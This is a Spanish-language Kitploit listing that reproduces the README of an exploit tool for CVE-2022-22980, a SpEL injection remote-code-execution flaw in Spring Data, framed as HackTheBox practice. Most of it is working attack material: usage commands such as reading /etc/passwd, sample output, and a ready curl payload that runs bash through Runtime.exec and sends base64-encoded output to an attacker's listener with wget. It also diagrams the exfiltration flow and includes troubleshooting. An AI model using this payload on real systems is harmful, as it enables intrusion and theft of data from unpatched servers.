Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22980 — Explotación de CVE-2022-22980 | Kitploit
Herramientas/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebCTFComando y ControlAprendizaje y Educación
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Explotación de CVE-2022-22980

Ver Repositorio
13hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SpEL RCE Exploit - CVE-2022-22980

Exploit para la ejecución remota de código (RCE) en Spring Data mediante una inyección SpEL (Spring Expression Language).

Descripciones

Vulnerabilidad

La máquina expone un endpoint /search que acepta un parámetro tracking_id vulnerable a la inyección SpEL. Esta inyección permite la ejecución de expresiones Java maliciosas directamente en el servidor.

Principio de explotación

  1. Inyectar una expresión SpEL que ejecute un comando shell a través de Runtime.getRuntime().exec()
  2. Codificar la salida del comando en base64
  3. Exfiltrar el resultado mediante una solicitud HTTP GET a un listener controlado
  4. Decodificar y mostrar el resultado

Uso

Requisitos previos

  • Python 3.x con los módulos estándares (http.server, , , )
Descargar herramienta
subprocess
threading
base64
  • curl en su máquina local
  • wget en la máquina objetivo (para la exfiltración)
  • Un puerto 80 disponible (o modificar LPORT en el script)
  • Acceso de red hacia el objetivo
  • Configuración

    Modifique los parámetros en el script según su entorno:

    root@kitploit:~
    TARGET = "http://<IP_OBJETIVO>:8080/search"   # URL del objetivo
    LHOST = "<SU_IP>"                              # IP local (tun0 para HTB)
    LPORT = 80                                      # Puerto de escucha
    

    Ejecución

    root@kitploit:~
    # Comando simple
    python3 spel_shell.py "whoami"
    
    # Comando con pipe
    python3 spel_shell.py "cat /etc/passwd"
    
    # Enumeración del sistema
    python3 spel_shell.py "uname -a"
    
    # Verificar acceso de red
    python3 spel_shell.py "curl -s http://httpbin.org/get"
    

    Ejemplo de salida

    root@kitploit:~
    [*] Starting listener...
    [*] Server listening on port 80
    [*] Sending payload...
    Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
    [*] Received data: cm9vdA==
    
    [+] Command output:
    
    root
    

    Payload manual (referencia)

    Si desea probar el payload sin el script:

    root@kitploit:~
    # Terminal 1: Iniciar el listener
    python3 -m http.server 80
    
    # Terminal 2: Enviar el payload
    curl -X POST \
      -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<SU_IP>:80/{}"})' \
      http://<IP_OBJETIVO>:8080/search
    

    Solución de problemas

    Error : "Address already in use"

    El puerto 80 está ocupado. Soluciones:

    root@kitploit:~
    # Verificar qué proceso usa el puerto
    sudo netstat -tlnp | grep :80
    
    # Detener Apache si está activo
    sudo systemctl stop apache2
    
    # O usar otro puerto
    # Modifique LPORT en el script y pruebe
    

    Sin respuesta ("No response received")

    1. Verifique la conectividad de red: Asegúrese de que el objetivo pueda alcanzar su LHOST:LPORT
    2. Pruebe con un comando simple: python3 spel_shell.py "echo test"
    3. Verifique los permisos del puerto: El puerto 80 requiere sudo en Linux
    4. Verifique la IP LHOST: Use ifconfig (tun0 para HTB) y no 127.0.0.1

    Error de decodificación base64

    Si ve "Raw data received" en lugar de "Command output", es posible que el comando no haya producido una salida válida. Pruebe un comando que siempre produzca salida.

    Arquitectura del script

    root@kitploit:~
    1. start_server() - Inicia un servidor HTTP en el puerto 80
                       ↓
    2. Envía el payload SpEL mediante curl al objetivo
                       ↓
    3. El objetivo ejecuta el comando y codifica el resultado en base64
                       ↓
    4. wget envía el resultado al listener (GET http://LHOST:LPORT/<data>)
                       ↓
    5. El Handler recibe los datos y los almacena
                       ↓
    6. El script decodifica y muestra el resultado
    

    Advertencia

    Este script se proporciona con fines educativos para las máquinas HackTheBox. Úselo únicamente en entornos que tenga permiso de probar.


    Autor: Eliasdekiniweek Fecha: Febrero 2026
    Lenguaje: Python 3